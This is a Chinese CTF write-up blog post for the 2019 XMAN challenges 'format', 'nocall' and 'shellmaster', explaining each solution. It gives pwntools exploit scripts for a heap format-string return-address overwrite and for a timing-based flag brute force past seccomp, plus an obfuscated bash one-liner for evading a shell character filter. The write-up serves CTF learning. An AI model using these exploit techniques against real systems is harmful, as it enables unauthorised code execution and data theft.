目录
  1. 1. format
    1. 1.1. 解题思路:
    2. 1.2. exp
  2. 2. nocall
    1. 2.1. 解题思路
    2. 2.2. exp
  3. 3. shellmaster
2019 xman writeup

format

32位格式化字符串漏洞,只开了NX保护,有多次漏洞利用机会,并且有system(“/bin/sh”),题目难点在于是堆上的格式化字符串漏洞,不能用常规的任意地址写手法

1580540236536.png

解题思路:

寻找如下图合适的跳板,第一次修改跳板为函数返回地址所在的栈地址,第二次修改函数返回地址为后门的地址。

1580541684651.png

exp

成功几率16分之一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'
for y in xrange(5000):
#with remote("node3.buuoj.cn",26370) as p:
with process("./chall") as p:
p.recvuntil("...\n")
p.recvuntil("...\n")
gdb.attach(p,"b *0x080485F6")
p.sendline("%60c%10$hhn|%34219c%18$hnBBB")
#pause()
try:
p.recvuntil("BBB")
#p.interactive()
p.sendline("ls")
data = p.recvuntil("flag")
print(data)
if("flag" in data):
p.interactive()
except Exception as e:
print('exception %s' % e)
p.close()

nocall

64位程序,保护全开。题目提示输入shellcode,但这个题使用了seccomp机制,限制了execve系统调用。

1580542882966.png
1580542965768.png

解题思路

因为flag的地址已经暴露了,程序也开启了5秒的计时器,可以通过基于时间的方法爆破flag。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
from time import time
from string import printable
#context.log_level = "debug"
context.arch = "amd64"

flag=''
s = '}{-0123456789abcdefghijklmnopqrstuvwxyz'
for i in range(0x2000000000,0x200000000+0x30):
for j in s:
payload=asm(
"""
mov al,[{}]
mov bl,{}
loop:
cmp al,bl
jz loop
ret
""".format(str(hex(i)),str(hex(ord(j)))))
try:
#p = remote("node3.buuoj.cn",29793)
p = process("./chall")
p.recvuntil("Your Shellcode >>")
time1=time()

print str(hex(i))+"-----"+j
p.sendline(payload)
p.can_recv(2)

time2=time()
p.close()
#pause()
if time2-time1>1:
flag+=j
print flag
break
else:
pass
except:
pass

print flag

shellmaster

1
A=${PATH##*:};B=${A%???};$PWD$B????
文章作者: nocbtm
文章链接: https://nocbtm.github.io/2020/01/20/2019-xman-writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 nocbtm's Blog
打赏
  • 微信
  • 支付宝